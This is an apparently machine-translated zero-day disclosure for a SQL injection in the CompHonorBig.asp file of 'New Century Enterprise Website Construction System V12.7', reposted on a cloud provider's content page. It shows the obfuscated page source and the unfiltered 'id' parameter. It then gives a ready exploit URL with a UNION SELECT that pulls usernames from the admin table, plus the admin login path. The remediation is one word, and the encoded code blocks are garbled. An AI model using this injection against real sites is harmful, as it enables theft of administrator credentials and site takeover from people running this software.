New Century Enterprise Website Construction System V12.7 injection ODAY and repair

Source: Internet
Author: User

Legend of the wind

Affected Version: V12.7
Vulnerability Type: SQL Injection
Vulnerability file: CompHonorBig. asp


You can see a piece of code encryption:

<% @ LANGUAGE = VBScript. Encode %>

<! -- # Include file = "Inc/conn. asp" -->

<% #@~ ^ JgAAAA = [B :~ BN # @ & k9Mn ;! + DYcp; nMX? D. k o 'rr [J * bgwAAA = ^ #~ @ %>

<Html>

<Head>

<Title> image </title>

<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">

<% #@~ ^ CAAAAA ==##&/nDPM/k + M-+ MR/D lOn} 4L ^ YvJl9G [4cD mGD [d YE ###@ & DkRG2 xPEd VnmD ~ CPWMWsPZK: auW W. PStn. Pk9xJLkNB ^ Gx ~ 8 ~ Q ##@ & MyMAAA = ^ #~ @ %>

<% #@~ ^ 6 gAAAA = r6POMks 'dk 'r/WswuWW. E *#@! @ * EJ, Yt U # @ & iP, Dn/2G/nRS. kD ++ ~ E @! Nk -~ MVro xEmn y db @*@! Bho,/. m {JOMk: v./vJZKh2CKxKDE # brP8WM [+ MT ~ @*@! Z [r7 @ * E @ # @ & n ^/n @ # @ & iPPM + k2W/nRqDrO PJ @! R: TP/M ^ xksoJxGwr ^ cL2o, Ak9Y4x + * P4nbo4Y {1 + PC ^ Y {No picture now! @ * J @ # @ & UN, kWu0IAAA = ^ #~ @ %>

<Div align = "center"> <BR>

<BR "> % = #@~ ^ EwAAAA = OMkhvDk 'J 6 aslbxE # * eAYAAA = ^ #~ @ %> <BR>

</Div>

<Mailto: % #@~ ^ IgAAAA ==##@ & Ddcm ^ W/# @ & d + DP./{xGO4kxT #@ & 8 wgAAA == #~ @>

</Body>

</Html>
 

So I'm curious, the rest are not encrypted. Why is this file encrypted ~! I looked at other codes and added the anti-injection Code, which does not seem to have been called.
As a result, I decrypted it: ODAY also followed. Haha ~! After decryption:

<% @ LANGUAGE = VBScript %> <! -- # Include file = "Inc/conn. asp "--> <% dim id = request. queryString ("id ") %> // receive the ID parameter


Add EXP:
Http: // 127.0.0.1/CompHonorBig. asp? Id = 11 union select 1, username, 3,4, 5 from admin


Background
Http: // 127.0.0.1/admin/login. asp

Fix:

Filter

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.